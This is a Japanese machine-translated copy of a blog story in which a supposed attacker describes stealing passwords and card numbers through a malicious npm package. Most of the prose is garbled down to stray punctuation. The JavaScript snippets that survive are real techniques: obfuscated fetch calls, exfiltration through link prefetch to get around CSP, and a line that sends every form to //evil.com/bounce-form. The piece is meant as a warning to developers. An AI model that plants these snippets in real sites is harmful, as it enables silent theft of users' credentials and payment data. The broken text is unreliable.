サイトへの訪問者からクレジットカード番号とパスワードを盗む方法のストーリー

続き: サイトへの訪問者からクレジットカード番号とパスワードを盗まれないようにする方法の話
数年にわたってさまざまなサイトからユーザー名、パスワード、クレジットカード番号を盗んできた人物による記事の翻訳を提供します。









私が話したいのは本当にでした。 または、私のストーリーは実際のイベントのみに基づいているかもしれません。 そしておそらくこれはすべてフィクションです。



それはそのような週に一度起こりました-周りの誰もがセキュリティについて心配している狂った時。 感じは、新しい脆弱性が毎日現れたということでした。 身近な人から質問されたときに何が起こるかを理解するふりをするのは簡単なことではなかった 彼らは、ハッキングされること、データが誰にもわからないまま流出することを懸念していた。 これらすべてが私を新しい方法で多く見させました。



その結果、しぶしぶ、私はすべてをまっすぐにして、過去数年間にさまざまなサイトからユーザー名、パスワード、クレジットカード番号を盗まれたことを全世界に伝えることにしました。 あなたはそれらのいずれかの管理者または開発者である可能性があります。



仕組み



サイトからデータを盗むことができるコード自体は非常に簡単です。 次の基準を満たすページで実行すると、最高の気分になります。





, blur



, submit



, :





, - , .





, , 2015-, , , . . , .



Google:



- - , , , .


? XSS , . Chrome .



, , , , , npm-.



NPM



, npm. — , - , - , .



, — , . , , . :









, , .



, , , , . - , .



( , ) - . «, X ».



— ! , , , , . — .



, 23 . — , , . , — , .



— . 6.



120000 , , , - Alexa Top 1000, , .



, , XSS-, . , -.



,



- , , - . .



▍ !



? (, ).



« »: , .



, , IP-, dev



, test



, qa



, uat



staging



( \b



).



▍ HTTP-!



? 7- 7- . , 95% .



. , , , ( ) . .



- , , . — , , .



, URL , , , .



, , , , . , , , . , .



. , , , , - , , . .



▍ GitHub!



. , : GitHub, — npm.



package.json



files



, lib



, . npm publish



npm. lib



.gitignore



, GitHub . , GitHub.



— npm, npm GitHub, , , /lib/package.min.js



/src/package.js



?



, GitHub .



▍ node_modules!



, . , , , , .



, , , . fetch



XMLHttpRequest



, , . :



const i = 'gfudi';
const k = s => s.split('').map(c => String.fromCharCode(c.charCodeAt() - 1)).join('');
self[k(i)](urlWithYourPreciousData);
      
      





«gfudi» — «fetch», . . self



window



.



fetch(...)



:



self['\u0066\u0065\u0074\u0063\u0068'](...)
      
      





, , , .



, , , , - fetch



. , , new EventSource(urlWithYourPreciousData)



. , , serviceWorker



fetch



, . , serviceWorker



, EventSource



.



▍ !



, . - , (Content Security Policy, CSP) - ? , , CSP:



const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);
      
      





, CSP () « 100%». , , , 130 . , , .



, . Chrome, CSP .



, CSP (, ) , . , , , CSP , ( «» — GET).



, , prefetch, . , .



, , CSP, ( report-uri



). , , , , , .



( ), CSP - .



, .



fetch(document.location.href)
.then(resp => {
  const csp = resp.headers.get('Content-Security-Policy');
  //    ?    ?
});
      
      





CSP. , Google CSP, , . connect-src



, , « » default-src



, , , , .



— , Google.



Amazon, , , CSP. eBay.



Twitter PayPal CSP, . , , , , . , , , default-src



. — , . form-action



.



, ( ), , , form-action



, ( , ) .



Array.from(document.forms).forEach(formEl => formEl.action = `//evil.com/bounce-form`);
      
      





. , , PayPal. , .



, , , .



, , Twitter . , .



, , . , .



?



, .



▍ №1: ,



, :









.



▍ №2:



, , ( -), npm. Google Tag Manager, , , — .



, , iFrame.



, , React, 138 npm-. , , , iFrame, , - , JavaScript-, (, , ).



2017- , , . , , . ?



— — , 12- , .





, - , , , . , i, , npm-, . — , . — , , .



, , , 400000 npm-. , , , , .



. npm-, . , , . , ?





? , , , — , ? . (, , , , — ).



( ) , , , , . , . , , .



! , - , ?






All Articles